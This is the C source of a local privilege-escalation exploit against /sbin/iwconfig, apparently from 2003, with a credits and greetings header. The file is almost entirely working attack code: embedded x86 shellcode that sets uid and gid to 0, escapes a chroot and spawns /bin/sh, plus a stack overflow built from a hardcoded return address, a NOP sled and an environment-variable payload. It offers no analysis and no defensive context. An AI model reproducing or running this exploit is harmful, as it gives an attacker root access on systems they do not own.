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- /*
- Name: iw-config.c
- Copyright: !sh2k+!tc2k
- Author: heka
- Date: 11/11/2003
- Greets: bx, pintos, eksol, hex, keyhook, grass, toolman, rD, shellcode, dunric, termid, kewlcat, JiNKS
- Description: /sbin/iwconfig - local root exploit
- iwconfig manipulate the basic wireless parameters
-
- */
-
- #include <stdio.h>
-
- #define BIN "/sbin/iwconfig"
-
- unsigned char shellcode[] =
- "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x2e"
- "\xcd\x80\x31\xc0\x53\x68\x77\x30\x30\x74\x89\xe3"
- "\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0"
- "\x31\xdb\x31\xc9\xb1\x0a\x50\x68\x2e\x2e\x2f\x2f"
- "\xe2\xf9\x89\xe3\xb0\x0c\xcd\x80\x31\xc0\x31\xdb"
- "\x6a\x2e\x89\xe3\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
- "\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
- "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
- "\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80";
-
- int
- main ()
- {
- int x;
- char buf[97], out[1337], *buffer;
- unsigned long ret_add = 0xbffffbb8, *add_ptr ;
- buffer = buf;
- add_ptr = (long *)buffer;
- for (x=0; x<97-1; x+=4)
- *(add_ptr++)=ret_add;
- memset ((char *)out, 0x90, 1337);
- memcpy ((char *)out + 333, shellcode, strlen(shellcode));
- memcpy((char *)out, "OUT=", 4);
- putenv(out);
- execl (BIN, BIN, buf, NULL);
- return 0;
- }
-
-